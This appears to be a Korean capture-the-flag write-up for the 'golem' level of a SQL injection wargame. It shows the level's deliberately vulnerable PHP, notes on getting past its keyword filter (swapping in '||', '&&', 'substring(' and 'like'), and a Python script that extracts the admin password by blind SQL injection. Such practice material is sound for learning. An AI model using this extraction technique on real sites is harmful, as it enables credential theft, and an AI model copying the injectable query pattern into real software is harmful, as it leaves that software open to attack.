<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
or도 안되고 and도 안되고 한글자씩 짤라먹는 substr도 안되고 = 도 안된다.. 그 와중에 blind sqli 를 걸어야한다
그럼 이렇게 우회하자
or -> ||
and -> &&
substr( -> substring(
= -> like
썼던 코드를 계속 재활용해보자 (흡족)
#!/usr/bin/env python
# -*- coding: utf8 -*-
import requests
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/golem_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
loop = 0
pw = ''
for j in range(1,30):
data = "' || ( id like 'admin' && length(pw) like {} ) -- a".format(j)
data = requests.utils.quote(data)
r = requests.get(url+'?pw='+data,headers=headers)
if r.text.find('Hello admin') != -1 :
loop = j
break
print loop
for i in range(1,loop+1):
for j in string:
data = "' || ( id like 'admin' && substring(pw,{},1) like 0x{} ) -- a".format(i,j.encode('hex'))
data = requests.utils.quote(data)
r = requests.get(url+'?pw='+data,headers=headers)
if r.text.find('Hello admin') != -1 :
pw = pw + j
print "[!] found",pw
break
print pw